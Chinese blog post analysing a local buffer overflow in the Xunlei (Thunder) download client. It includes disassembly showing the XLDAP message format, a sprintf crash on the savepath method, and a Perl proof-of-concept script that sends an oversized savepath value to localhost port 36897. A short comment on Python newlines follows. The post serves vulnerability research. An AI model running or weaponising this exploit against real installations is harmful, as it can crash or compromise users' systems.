迅雷本地溢出POC

作者:疯狗
以前一直在传迅雷还有0day,Activex的应该差不多了,但是也不敢怠慢,还是卸载之,今天丰初发来一URL,原来素一迅雷0day,看说明还是远程!感觉装了一个,看那个漏洞监听的端口
C:\>netstat -na|find “36897”
TCP    127.0.0.1:36897        0.0.0.0:0              LISTENING

绑定的本地IP啊?!那就说明这个是不可以远程的,只能本地了。
……
23132CBE    68 B4C61323     push    2313C6B4                         ; ASCII “savepath”
23132CC3    57              push    edi
23132CC4    FFD6            call    esi
23132CC6    59              pop     ecx
23132CC7    84C0            test    al, al

……

23132CEF    85FF            test    edi, edi
23132CF1    74 02           je      short 23132CF5
23132CF3    8BCF            mov     ecx, edi
23132CF5    B8 D4C61323     mov     eax, 2313C6D4                    ; ASCII “XLDAP”
23132CFA    50              push    eax
23132CFB    52              push    edx
23132CFC    51              push    ecx
23132CFD    50              push    eax
23132CFE    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]
23132D04    68 C0C61323     push    2313C6C0                         ; ASCII “%s|%s|%s|%s”
……

根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP,A是方法,B是值。又偷懒看了下介绍,问题出在savepath方法上,那么构造数据就很简单了,POC如下

#!/usr/bin/perl
use IO::Socket;

if ($socket = IO::Socket::INET->new(PeerAddr => “127.0.0.1”,PeerPort => “36897”,Proto => “TCP”))
{
$exploit  = “XLDAP|savepath|”.
#    (“A” x 397).
(“A” x 500).
“|XLDAP”;

print $socket $exploit;
sleep(1);
close($socket);
}
else
{
print “Cannot connect to localhost:36897 port\n”;
}

如果用python写exp的话你会很郁闷,因为py总是会给偶多出一个换行,就算使用[:-1]这种方法也没用,郁闷,目前不清楚是传递的过程还是print的时候,谁知道是什么原因?
23132D09    50              push    eax
23132D0A    FF15 54E51323   call    dword ptr [<&MSVCRT.sprintf>]   ; crash
23132D10    8D85 5CFEFFFF   lea     eax, dword ptr [ebp-1A4]
就是在执行这步sprintf函数复制的时候导致crash。

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

  • winger

    如果用python写exp的话你会很郁闷,因为py总是会给偶多出一个换行
    print “sss”,

发表评论